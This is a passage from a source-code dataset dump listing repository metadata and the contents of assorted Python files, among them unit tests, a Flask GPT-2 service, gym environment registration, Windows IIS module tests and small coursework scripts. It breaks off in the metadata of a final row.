hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b284e34183349b94655f2ba4c0ad549e6e0f8f3f | 273 | py | Python | dsfaker/generators/str.py | pajachiet/dsfaker | 0e65ba336608c2ccc5e32a541f3b66dfad019b35 | [
"MIT"
] | 3 | 2017-03-12T22:08:59.000Z | 2017-05-22T16:57:17.000Z | dsfaker/generators/str.py | pajachiet/dsfaker | 0e65ba336608c2ccc5e32a541f3b66dfad019b35 | [
"MIT"
] | 12 | 2017-03-01T10:14:08.000Z | 2017-04-23T12:15:10.000Z | dsfaker/generators/str.py | pajachiet/dsfaker | 0e65ba336608c2ccc5e32a541f3b66dfad019b35 | [
"MIT"
] | 2 | 2017-05-04T15:36:21.000Z | 2018-02-07T13:49:13.000Z | from random import Random
from rstr import Rstr
from . import Generator
class Regex(Generator):
def __init__(self, regex, seed=None):
self.gen = Rstr(Random(seed))
self.regex = regex
def get_single(self):
return self.gen.xeger(self.regex)
| 22.75 | 41 | 0.677656 | 199 | 0.728938 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b285955d688db6c4b472e2c5faffe22749cd5bcf | 7,081 | py | Python | ssh/factorcheck.py | riquelmev/cs338 | cdbff5e25b112a9fb2e039f59c0ebf036649ffd8 | [
"MIT"
] | null | null | null | ssh/factorcheck.py | riquelmev/cs338 | cdbff5e25b112a9fb2e039f59c0ebf036649ffd8 | [
"MIT"
] | null | null | null | ssh/factorcheck.py | riquelmev/cs338 | cdbff5e25b112a9fb2e039f59c0ebf036649ffd8 | [
"MIT"
] | null | null | null | import numpy
import math
print(math.lcm(0x00eca08bfa42dcad582302232a80813894fd2e4b842dca21eba465619a0d464a9f864ab2e9c0be42367d63c595e81385dcb66bbf8242cddb848969f883af2fbb8c1490a3932c03d15b2d7dfb08dd2c61e05978fbfd337e70ba838574cfe443658910aef9303e968d32351339c14a3c08920a5c1a854cea5af98bd32f1098a2fc5f8a468009c7c063f48c2... | 337.190476 | 1,320 | 0.990679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b286d23fc369a16764ed55694919ccd382975d06 | 138 | py | Python | main1.py | dubblin27/bible-of-algo | 4f893ba0d32d8d169abf4c4485f105cc8169cdbb | [
"MIT"
] | null | null | null | main1.py | dubblin27/bible-of-algo | 4f893ba0d32d8d169abf4c4485f105cc8169cdbb | [
"MIT"
] | null | null | null | main1.py | dubblin27/bible-of-algo | 4f893ba0d32d8d169abf4c4485f105cc8169cdbb | [
"MIT"
] | null | null | null | su = 0
a = [3,5,6,2,7,1]
print(sum(a))
x, y = input("Enter a two value: ").split()
x = int(x)
y = int(y)
su = a[y] + sum(a[:y])
print(su) | 17.25 | 44 | 0.514493 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 21 | 0.152174 |
b2887d26206a7158175689bb0d3fde0011f6d15d | 8,099 | py | Python | reagent/test/training/test_qrdqn.py | dmitryvinn/ReAgent | f98825b9d021ec353a1f9087840a05fea259bf42 | [
"BSD-3-Clause"
] | 1,156 | 2019-10-02T12:15:31.000Z | 2022-03-31T16:01:27.000Z | reagent/test/training/test_qrdqn.py | dmitryvinn/ReAgent | f98825b9d021ec353a1f9087840a05fea259bf42 | [
"BSD-3-Clause"
] | 448 | 2019-10-03T13:40:52.000Z | 2022-03-28T07:49:15.000Z | reagent/test/training/test_qrdqn.py | dmitryvinn/ReAgent | f98825b9d021ec353a1f9087840a05fea259bf42 | [
"BSD-3-Clause"
] | 214 | 2019-10-13T13:28:33.000Z | 2022-03-24T04:11:52.000Z | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All rights reserved.
import unittest
import torch
from reagent.core.parameters import EvaluationParameters, RLParameters
from reagent.core.types import FeatureData, DiscreteDqnInput, ExtraData
from reagent.evaluation.evaluator import get_metric... | 40.293532 | 88 | 0.633782 | 7,548 | 0.931967 | 0 | 0 | 0 | 0 | 0 | 0 | 444 | 0.054822 |
b28976d7d07ee0d85891e3ce1f95a592baa06a72 | 717 | py | Python | highway_env/__init__.py | songanz/highway-env | ac21d1da25e224dbdbf8ba39509f4013bd029f52 | [
"MIT"
] | 1 | 2019-11-06T15:28:27.000Z | 2019-11-06T15:28:27.000Z | highway_env/__init__.py | songanz/highway-env | ac21d1da25e224dbdbf8ba39509f4013bd029f52 | [
"MIT"
] | null | null | null | highway_env/__init__.py | songanz/highway-env | ac21d1da25e224dbdbf8ba39509f4013bd029f52 | [
"MIT"
] | 1 | 2019-07-22T03:37:09.000Z | 2019-07-22T03:37:09.000Z | from gym.envs.registration import register
register(
id='highway-v0',
entry_point='highway_env.envs:HighwayEnv',
)
register(
id='highway-continuous-v0',
entry_point='highway_env.envs:HighwayEnvCon',
)
register(
id='highway-continuous-intrinsic-rew-v0',
entry_point='highway_env.envs:HighwayEnv... | 18.384615 | 63 | 0.714086 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 344 | 0.479777 |
b28b3da62fcf1d7ad1f84230a298ab9d0ed79266 | 700 | py | Python | twitcaspy/auth/app.py | Alma-field/twitcaspy | 25f3e850f2d5aab8a864bd6b7003468587fa3ea7 | [
"MIT"
] | null | null | null | twitcaspy/auth/app.py | Alma-field/twitcaspy | 25f3e850f2d5aab8a864bd6b7003468587fa3ea7 | [
"MIT"
] | 18 | 2021-10-01T13:40:01.000Z | 2021-10-18T12:34:57.000Z | twitcaspy/auth/app.py | Alma-field/twitcaspy | 25f3e850f2d5aab8a864bd6b7003468587fa3ea7 | [
"MIT"
] | null | null | null | # Twitcaspy
# Copyright 2021 Alma-field
# See LICENSE for details.
#
# based on tweepy(https://github.com/tweepy/tweepy)
# Copyright (c) 2009-2021 Joshua Roesslein
from .auth import AuthHandler
from .oauth import OAuth2Basic
class AppAuthHandler(AuthHandler):
"""
Application-only authentication handler
... | 22.580645 | 57 | 0.671429 | 471 | 0.672857 | 0 | 0 | 0 | 0 | 0 | 0 | 430 | 0.614286 |
b28b8885604c48606cb8d4e162a310c2bb979435 | 1,005 | py | Python | tests/test_topic_matching.py | InfraPixels/powerlibs-aws-sqs-dequeue_to_api | 67ae744c96c7658229acc6fd1b1c432d24f0817d | [
"MIT"
] | null | null | null | tests/test_topic_matching.py | InfraPixels/powerlibs-aws-sqs-dequeue_to_api | 67ae744c96c7658229acc6fd1b1c432d24f0817d | [
"MIT"
] | null | null | null | tests/test_topic_matching.py | InfraPixels/powerlibs-aws-sqs-dequeue_to_api | 67ae744c96c7658229acc6fd1b1c432d24f0817d | [
"MIT"
] | 1 | 2021-05-26T00:16:26.000Z | 2021-05-26T00:16:26.000Z | def test_topic_regexp_matching(dequeuer):
msg = {'company_name': 'test_company'}
actions_1 = tuple(dequeuer.get_actions_for_topic('object__created', msg))
actions_2 = tuple(dequeuer.get_actions_for_topic('object__deleted', msg))
actions_3 = tuple(dequeuer.get_actions_for_topic('otherthing__created', msg... | 38.653846 | 82 | 0.736318 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 223 | 0.221891 |
b28d0dae8fb9ed9ee50b81bbf1aae13554854cbe | 1,352 | py | Python | src/baskerville/models/model_interface.py | deflect-ca/baskerville | 9659f4b39ab66fcf5329a4eccff15e97245b04f0 | [
"CC-BY-4.0"
] | 2 | 2021-12-03T11:26:38.000Z | 2022-01-12T22:24:29.000Z | src/baskerville/models/model_interface.py | deflect-ca/baskerville | 9659f4b39ab66fcf5329a4eccff15e97245b04f0 | [
"CC-BY-4.0"
] | 3 | 2022-01-19T15:17:37.000Z | 2022-03-22T04:55:22.000Z | src/baskerville/models/model_interface.py | deflect-ca/baskerville | 9659f4b39ab66fcf5329a4eccff15e97245b04f0 | [
"CC-BY-4.0"
] | null | null | null | # Copyright (c) 2020, eQualit.ie inc.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
import inspect
import logging
class ModelInterface(object):
def __init__(self):
super().__init__()
self... | 26 | 71 | 0.621302 | 1,124 | 0.831361 | 0 | 0 | 0 | 0 | 0 | 0 | 311 | 0.23003 |
b28d6cf5837de54ecfea09556ec7ac0f5538da24 | 2,253 | py | Python | setup_win(MPL2).py | iefan/army_holiday | 0c79cf89c4dbb16bd87ca754265821f82b298f13 | [
"Apache-2.0"
] | null | null | null | setup_win(MPL2).py | iefan/army_holiday | 0c79cf89c4dbb16bd87ca754265821f82b298f13 | [
"Apache-2.0"
] | null | null | null | setup_win(MPL2).py | iefan/army_holiday | 0c79cf89c4dbb16bd87ca754265821f82b298f13 | [
"Apache-2.0"
] | null | null | null | # Used successfully in Python2.5 with matplotlib 0.91.2 and PyQt4 (and Qt 4.3.3)
from distutils.core import setup
import py2exe
import sys
# no arguments
if len(sys.argv) == 1:
sys.argv.append("py2exe")
# We need to import the glob module to search for all files.
import glob
# We need to exclude matplotlib back... | 51.204545 | 122 | 0.625388 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,557 | 0.691079 |
b28f9f150dd905146af9d33f4c81aae2c96483db | 1,529 | py | Python | GeeksForGeeks/Sudo Placement 2019/Find the closest number.py | nayanapardhekar/Python | 55ea0cc1dd69192b25cb71358cd03cc2ce13be0a | [
"MIT"
] | 37 | 2019-04-03T07:19:57.000Z | 2022-01-09T06:18:41.000Z | GeeksForGeeks/Sudo Placement 2019/Find the closest number.py | nayanapardhekar/Python | 55ea0cc1dd69192b25cb71358cd03cc2ce13be0a | [
"MIT"
] | 16 | 2020-08-11T08:09:42.000Z | 2021-10-30T17:40:48.000Z | GeeksForGeeks/Sudo Placement 2019/Find the closest number.py | nayanapardhekar/Python | 55ea0cc1dd69192b25cb71358cd03cc2ce13be0a | [
"MIT"
] | 130 | 2019-10-02T14:40:20.000Z | 2022-01-26T17:38:26.000Z | # Find the closest number
# Difficulty: Basic Marks: 1
'''
Given an array of sorted integers. The task is to find the closest value to the given number in array. Array may contain duplicate values.
Note: If the difference is same for two values print the value which is greater than the given number.
Input:
The firs... | 26.824561 | 264 | 0.517986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 766 | 0.500327 |
b2910846552317313e27d4630f9b125c62fc3263 | 4,391 | py | Python | qcodes/tests/test_sweep_values.py | riju-pal/QCoDeS_riju | 816e76809160e9af457f6ef6d4aca1b0dd5eea82 | [
"MIT"
] | 223 | 2016-10-29T15:00:24.000Z | 2022-03-20T06:53:34.000Z | qcodes/tests/test_sweep_values.py | M1racleShih/Qcodes | c03029a6968e16379155aadc8b083a02e01876a6 | [
"MIT"
] | 3,406 | 2016-10-25T10:44:50.000Z | 2022-03-31T09:47:35.000Z | qcodes/tests/test_sweep_values.py | nikhartman/Qcodes | 042c5e25ab9e40b20c316b4055c4842844834d1e | [
"MIT"
] | 263 | 2016-10-25T11:35:36.000Z | 2022-03-31T08:53:20.000Z | import pytest
from qcodes.instrument.parameter import Parameter
from qcodes.instrument.sweep_values import SweepValues
from qcodes.utils.validators import Numbers
@pytest.fixture(name='c0')
def _make_c0():
c0 = Parameter('c0', vals=Numbers(-10, 10), get_cmd=None, set_cmd=None)
yield c0
@pytest.fixture(na... | 25.235632 | 76 | 0.566614 | 0 | 0 | 258 | 0.058757 | 339 | 0.077203 | 0 | 0 | 1,145 | 0.260761 |
b2920a5b35fa8d9589396ec223bdc4d33e30fd7a | 350 | py | Python | src/django_powerdns_api/urls.py | andrzej-jankowski/django-powerdns-api | c7bc793022ba9fde2dd0e3564c3c63398611540b | [
"Apache-2.0"
] | null | null | null | src/django_powerdns_api/urls.py | andrzej-jankowski/django-powerdns-api | c7bc793022ba9fde2dd0e3564c3c63398611540b | [
"Apache-2.0"
] | null | null | null | src/django_powerdns_api/urls.py | andrzej-jankowski/django-powerdns-api | c7bc793022ba9fde2dd0e3564c3c63398611540b | [
"Apache-2.0"
] | null | null | null | # -*- encoding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from django.conf.urls import patterns, include, url
from django_powerdns_api.routers import router
urlpatterns = patterns(
'',
url(r... | 20.588235 | 51 | 0.768571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 31 | 0.088571 |
b292be09587a07ede608a3607cc6852e3db17188 | 925 | py | Python | tools/SDKTool/src/WrappedDeviceAPI/deviceAPI/mobileDevice/android/plugin/Platform_plugin/PlatformWeTest/__init__.py | Passer-D/GameAISDK | a089330a30b7bfe1f6442258a12d8c0086240606 | [
"Apache-2.0"
] | 1,210 | 2020-08-18T07:57:36.000Z | 2022-03-31T15:06:05.000Z | tools/SDKTool/src/WrappedDeviceAPI/deviceAPI/mobileDevice/android/plugin/Platform_plugin/PlatformWeTest/__init__.py | guokaiSama/GameAISDK | a089330a30b7bfe1f6442258a12d8c0086240606 | [
"Apache-2.0"
] | 37 | 2020-08-24T02:48:38.000Z | 2022-01-30T06:41:52.000Z | tools/SDKTool/src/WrappedDeviceAPI/deviceAPI/mobileDevice/android/plugin/Platform_plugin/PlatformWeTest/__init__.py | guokaiSama/GameAISDK | a089330a30b7bfe1f6442258a12d8c0086240606 | [
"Apache-2.0"
] | 275 | 2020-08-18T08:35:16.000Z | 2022-03-31T15:06:07.000Z | # -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making GameAISDK available.
This source code file is licensed under the GNU General Public License Version 3.
For full details, please refer to the file "LICENSE.txt" which is provided as part of this source code package.
Copyright... | 35.576923 | 111 | 0.776216 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 429 | 0.463784 |
b293b0671b5147e6e833e70a808c61e5033f825f | 579 | py | Python | python/codingbat/src/sum_double.py | christopher-burke/warmups | 140c96ada87ec5e9faa4622504ddee18840dce4a | [
"MIT"
] | null | null | null | python/codingbat/src/sum_double.py | christopher-burke/warmups | 140c96ada87ec5e9faa4622504ddee18840dce4a | [
"MIT"
] | 2 | 2022-03-10T03:49:14.000Z | 2022-03-14T00:49:54.000Z | python/codingbat/src/sum_double.py | christopher-burke/warmups | 140c96ada87ec5e9faa4622504ddee18840dce4a | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""sum_double
Given two int values, return their sum.
Unless the two values are the same, then return double their sum.
sum_double(1, 2) → 3
sum_double(3, 2) → 5
sum_double(2, 2) → 8
source: https://codingbat.com/prob/p141905
"""
def sum_double(a: int, b: int) -> int:
"""Sum Double.
... | 18.09375 | 65 | 0.618307 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 349 | 0.596581 |
b293c4e951eab343a95232f50c197cd3ae253ad6 | 126 | py | Python | database_email_backend/__init__.py | enderlabs/django-database-email-backend | aad6bade66d076b5425f772430adc7e77e60f5ce | [
"MIT"
] | 1 | 2016-01-15T18:54:59.000Z | 2016-01-15T18:54:59.000Z | database_email_backend/__init__.py | enderlabs/django-database-email-backend | aad6bade66d076b5425f772430adc7e77e60f5ce | [
"MIT"
] | 1 | 2015-11-04T22:19:21.000Z | 2015-11-04T22:19:21.000Z | database_email_backend/__init__.py | enderlabs/django-database-email-backend | aad6bade66d076b5425f772430adc7e77e60f5ce | [
"MIT"
] | 4 | 2015-11-04T20:45:16.000Z | 2021-03-03T06:28:20.000Z | # -*- coding: utf-8 -*-
VERSION = (1, 0, 4)
__version__ = "1.0.4"
__authors__ = ["Stefan Foulis <[email protected]>", ]
| 25.2 | 59 | 0.611111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 71 | 0.563492 |
b293f0ceac4f743a52151b0799d4e433f9e36af9 | 366 | py | Python | src/draw.py | mattdesl/inkyphat-mods | 2867161e66ffce87b75170e081f5ab481ce5e6b1 | [
"MIT"
] | 7 | 2020-04-25T09:24:18.000Z | 2022-01-02T03:24:24.000Z | src/draw.py | mattdesl/inkyphat-mods | 2867161e66ffce87b75170e081f5ab481ce5e6b1 | [
"MIT"
] | null | null | null | src/draw.py | mattdesl/inkyphat-mods | 2867161e66ffce87b75170e081f5ab481ce5e6b1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import argparse
from PIL import Image
from inky import InkyPHAT
print("""Inky pHAT/wHAT: Logo
Displays the Inky pHAT/wHAT logo.
""")
type = "phat"
colour = "black"
inky_display = InkyPHAT(colour)
inky_display.set_border(inky_display.BLACK)
img = Image.open("assets/InkypHAT-212x104-bw.png")
i... | 18.3 | 50 | 0.762295 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 127 | 0.346995 |
b296a32574784e1bd7a3f60cbb896711ff7dd880 | 1,230 | py | Python | newsapp/tests.py | Esther-Anyona/four-one-one | 6a5e019b35710941a669c1b49e993b683c99d615 | [
"MIT"
] | null | null | null | newsapp/tests.py | Esther-Anyona/four-one-one | 6a5e019b35710941a669c1b49e993b683c99d615 | [
"MIT"
] | null | null | null | newsapp/tests.py | Esther-Anyona/four-one-one | 6a5e019b35710941a669c1b49e993b683c99d615 | [
"MIT"
] | null | null | null | from django.test import TestCase
from .models import *
from django.contrib.auth.models import User
# Create your tests here.
user = User.objects.get(id=1)
profile = Profile.objects.get(id=1)
neighbourhood = Neighbourhood.objects.get(id=1)
class TestBusiness(TestCase):
def setUp(self):
self.business=Busin... | 30 | 170 | 0.702439 | 978 | 0.795122 | 0 | 0 | 0 | 0 | 0 | 0 | 139 | 0.113008 |
b296bd14330ba64af65527855f690dd49d0a2709 | 4,620 | py | Python | ssdlite/load_caffe_weights.py | kkrpawkal/MobileNetv2-SSDLite | b434ed07b46d6e7f733ec97e180b57c8db30cae3 | [
"MIT"
] | null | null | null | ssdlite/load_caffe_weights.py | kkrpawkal/MobileNetv2-SSDLite | b434ed07b46d6e7f733ec97e180b57c8db30cae3 | [
"MIT"
] | null | null | null | ssdlite/load_caffe_weights.py | kkrpawkal/MobileNetv2-SSDLite | b434ed07b46d6e7f733ec97e180b57c8db30cae3 | [
"MIT"
] | null | null | null | import numpy as np
import sys,os
caffe_root = '/home/yaochuanqi/work/ssd/caffe/'
sys.path.insert(0, caffe_root + 'python')
import caffe
deploy_proto = 'deploy.prototxt'
save_model = 'deploy.caffemodel'
weights_dir = 'output'
box_layers = ['conv_13/expand', 'Conv_1', 'layer_19_2_2', 'layer_19_2_3', 'layer_19... | 54.352941 | 124 | 0.541775 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 823 | 0.178139 |
b2977674be0d43e625cea5afb3180e9f200426a4 | 996 | py | Python | qa327/frontend/exceptions.py | rickyzhangca/CISC-327 | e419caafa6ae3fe77aa411228b6b58b237fe6a61 | [
"MIT"
] | null | null | null | qa327/frontend/exceptions.py | rickyzhangca/CISC-327 | e419caafa6ae3fe77aa411228b6b58b237fe6a61 | [
"MIT"
] | 39 | 2020-10-11T02:31:14.000Z | 2020-12-15T20:18:56.000Z | qa327/frontend/exceptions.py | rickyzhangca/CISC-327 | e419caafa6ae3fe77aa411228b6b58b237fe6a61 | [
"MIT"
] | 1 | 2020-10-17T02:44:43.000Z | 2020-10-17T02:44:43.000Z | '''
This is the exceptions module:
'''
'''
Exception of when user do not have the access to certain pages.
'''
class CannotAccessPageException(Exception):
pass
'''
Exception of the first password and the second password does not match during registration.
'''
class PasswordsNotMatchingException(Exception):
p... | 21.191489 | 91 | 0.736948 | 463 | 0.464859 | 0 | 0 | 0 | 0 | 0 | 0 | 539 | 0.541165 |
b299f61f9bab8f0fdfd0cbba6dbcac61cd8b37ce | 239 | py | Python | dags/minimal_dag.py | MarcusJones/kaggle_petfinder_adoption | 2d745b48405f4d4211b523eae272b9169fcf9fa2 | [
"MIT"
] | 1 | 2019-01-24T04:22:39.000Z | 2019-01-24T04:22:39.000Z | dags/minimal_dag.py | MarcusJones/kaggle_petfinder_adoption | 2d745b48405f4d4211b523eae272b9169fcf9fa2 | [
"MIT"
] | null | null | null | dags/minimal_dag.py | MarcusJones/kaggle_petfinder_adoption | 2d745b48405f4d4211b523eae272b9169fcf9fa2 | [
"MIT"
] | null | null | null | import airflow as af
from airflow.operators.dummy_operator import DummyOperator
from datetime import datetime
with af.DAG('minimal_dag', start_date=datetime(2016, 1, 1)) as dag:
op = DummyOperator(task_id='op')
op.dag is dag # True
| 23.9 | 67 | 0.76569 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.096234 |
b29ab73d546b03f1d056e040fdce2adc50067aef | 2,567 | py | Python | app.py | paulinaacostac/GPT2 | 4d06584b2e8adfa708f1306e38dadd48c899ac8a | [
"MIT"
] | 2 | 2022-01-06T17:48:58.000Z | 2022-01-06T18:23:31.000Z | app.py | paulinaacostac/gpt2-WebAPI | 4d06584b2e8adfa708f1306e38dadd48c899ac8a | [
"MIT"
] | null | null | null | app.py | paulinaacostac/gpt2-WebAPI | 4d06584b2e8adfa708f1306e38dadd48c899ac8a | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import json
import os
import numpy as np
import tensorflow.compat.v1 as tf
from src import model, sample, encoder
from flask import Flask
from flask import request, jsonify
import time
######model
def interact_model(
model_name='run1',
seed=None,
nsamples=1,
batch_size=1,
... | 26.463918 | 159 | 0.603039 | 0 | 0 | 1,324 | 0.515777 | 420 | 0.163615 | 0 | 0 | 346 | 0.134788 |
b29b61190657129eadf2448fe993cb4e944db000 | 1,096 | py | Python | t/unit/utils/test_div.py | kaiix/kombu | 580b5219cc50cad278c4b664d0e0f85e37a5e9ea | [
"BSD-3-Clause"
] | 1,920 | 2015-01-03T15:43:23.000Z | 2022-03-30T19:30:35.000Z | t/unit/utils/test_div.py | kaiix/kombu | 580b5219cc50cad278c4b664d0e0f85e37a5e9ea | [
"BSD-3-Clause"
] | 949 | 2015-01-02T18:56:00.000Z | 2022-03-31T23:14:59.000Z | t/unit/utils/test_div.py | kaiix/kombu | 580b5219cc50cad278c4b664d0e0f85e37a5e9ea | [
"BSD-3-Clause"
] | 833 | 2015-01-07T23:56:35.000Z | 2022-03-31T22:04:11.000Z | import pickle
from io import BytesIO, StringIO
from kombu.utils.div import emergency_dump_state
class MyStringIO(StringIO):
def close(self):
pass
class MyBytesIO(BytesIO):
def close(self):
pass
class test_emergency_dump_state:
def test_dump(self, stdouts):
fh = MyBytesIO()
... | 23.319149 | 69 | 0.595803 | 990 | 0.903285 | 0 | 0 | 0 | 0 | 0 | 0 | 45 | 0.041058 |
b29c8d36ba3db7e707e861825377dec464aebc9b | 3,754 | py | Python | intents/oversights/more_than_just_topk.py | googleinterns/debaised-analysis | 0dad1186a177a171956a33c49999d9387b9f989d | [
"Apache-2.0"
] | 1 | 2020-06-26T19:16:15.000Z | 2020-06-26T19:16:15.000Z | intents/oversights/more_than_just_topk.py | bhagyakjain/debaised-analysis | 6b8b27575bf3f60a6711e370bfad838e29f5cc8a | [
"Apache-2.0"
] | 30 | 2020-06-01T13:42:25.000Z | 2022-03-31T03:58:55.000Z | intents/oversights/more_than_just_topk.py | googleinterns/debaised-analysis | 0dad1186a177a171956a33c49999d9387b9f989d | [
"Apache-2.0"
] | 10 | 2020-06-10T05:43:59.000Z | 2020-08-20T10:32:24.000Z | """
Copyright 2020 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distrib... | 37.168317 | 117 | 0.697389 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,441 | 0.65024 |
b29d27c7cb2d0e54f4f91d86ff0c6d726cd311a6 | 733 | py | Python | release/stubs.min/System/Net/__init___parts/TransportContext.py | htlcnn/ironpython-stubs | 780d829e2104b2789d5f4d6f32b0ec9f2930ca03 | [
"MIT"
] | 182 | 2017-06-27T02:26:15.000Z | 2022-03-30T18:53:43.000Z | release/stubs.min/System/Net/__init___parts/TransportContext.py | htlcnn/ironpython-stubs | 780d829e2104b2789d5f4d6f32b0ec9f2930ca03 | [
"MIT"
] | 28 | 2017-06-27T13:38:23.000Z | 2022-03-15T11:19:44.000Z | release/stubs.min/System/Net/__init___parts/TransportContext.py | htlcnn/ironpython-stubs | 780d829e2104b2789d5f4d6f32b0ec9f2930ca03 | [
"MIT"
] | 67 | 2017-06-28T09:43:59.000Z | 2022-03-20T21:17:10.000Z | class TransportContext(object):
""" The System.Net.TransportContext class provides additional context about the underlying transport layer. """
def GetChannelBinding(self,kind):
"""
GetChannelBinding(self: TransportContext,kind: ChannelBindingKind) -> ChannelBinding
Retrieves the requested channel... | 31.869565 | 113 | 0.746248 | 731 | 0.997271 | 0 | 0 | 0 | 0 | 0 | 0 | 604 | 0.824011 |
b29e142efe612167f93b68a27b4c24715a4da2ff | 1,058 | py | Python | zkpytb/json.py | zertrin/zkpytb | 066662d9c7bd233f977302cb11cf888a2a1828d2 | [
"MIT"
] | 2 | 2021-07-17T19:30:17.000Z | 2022-02-14T04:55:46.000Z | zkpytb/json.py | zertrin/zkpytb | 066662d9c7bd233f977302cb11cf888a2a1828d2 | [
"MIT"
] | null | null | null | zkpytb/json.py | zertrin/zkpytb | 066662d9c7bd233f977302cb11cf888a2a1828d2 | [
"MIT"
] | null | null | null | """
Helper functions related to json
Author: Marc Gallet
"""
import datetime
import decimal
import json
import uuid
import pathlib
class JSONEncoder(json.JSONEncoder):
"""
A custom JSONEncoder that can handle a bit more data types than the one from stdlib.
"""
def default(self, o):
# early ... | 27.128205 | 88 | 0.618147 | 921 | 0.87051 | 0 | 0 | 0 | 0 | 0 | 0 | 307 | 0.29017 |
b29e7d32ca4c3f659315bd72acd899c4542a2363 | 1,960 | py | Python | back_end/consts.py | DoctorChe/crash_map | e540ab8a45f67ff78c9993ac3eb1b413d4786cd9 | [
"MIT"
] | 1 | 2019-04-04T21:55:24.000Z | 2019-04-04T21:55:24.000Z | back_end/consts.py | DoctorChe/crash_map | e540ab8a45f67ff78c9993ac3eb1b413d4786cd9 | [
"MIT"
] | 2 | 2019-04-14T10:11:25.000Z | 2019-04-25T20:49:54.000Z | back_end/consts.py | DoctorChe/crash_map | e540ab8a45f67ff78c9993ac3eb1b413d4786cd9 | [
"MIT"
] | null | null | null | # encoding: utf-8
# input data constants
MARI_EL = 'Республика Марий Эл'
YOSHKAR_OLA = 'Республика Марий Эл, Йошкар-Ола'
VOLZHSK = 'Республика Марий Эл, Волжск'
VOLZHSK_ADM = 'Республика Марий Эл, Волжский район'
MOUNTIN = 'Республика Марий Эл, Горномарийский район'
ZVENIGOVO = 'Республика Марий Эл, Звениговский райо... | 26.849315 | 175 | 0.758673 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,626 | 0.615676 |
b29fec21f725de737210b497e78b6e2a1d2273be | 7,195 | py | Python | tests/unit/modules/win_iis_test.py | matt-malarkey/salt | c06860730d99e4f4941cbc164ee6db40157a07c9 | [
"Apache-2.0"
] | 1 | 2018-09-19T22:42:54.000Z | 2018-09-19T22:42:54.000Z | tests/unit/modules/win_iis_test.py | matt-malarkey/salt | c06860730d99e4f4941cbc164ee6db40157a07c9 | [
"Apache-2.0"
] | null | null | null | tests/unit/modules/win_iis_test.py | matt-malarkey/salt | c06860730d99e4f4941cbc164ee6db40157a07c9 | [
"Apache-2.0"
] | 1 | 2019-07-23T13:42:23.000Z | 2019-07-23T13:42:23.000Z | # -*- coding: utf-8 -*-
'''
:synopsis: Unit Tests for Windows IIS Module 'module.win_iis'
:platform: Windows
:maturity: develop
versionadded:: Carbon
'''
# Import Python Libs
from __future__ import absolute_import
import json
# Import Salt Libs
from salt.exceptions import SaltInvocationError
from salt... | 40.421348 | 88 | 0.522168 | 6,245 | 0.867964 | 0 | 0 | 6,346 | 0.882001 | 0 | 0 | 2,683 | 0.372898 |
b2a0afa260118cc81d83a6eee84100a7f5b452a7 | 6,217 | py | Python | scripts/loader_to_sharepoint.py | lawrkelly/python-useful-scripts | dfa044049e41bd0faed96473a79b4a25e051c198 | [
"MIT"
] | null | null | null | scripts/loader_to_sharepoint.py | lawrkelly/python-useful-scripts | dfa044049e41bd0faed96473a79b4a25e051c198 | [
"MIT"
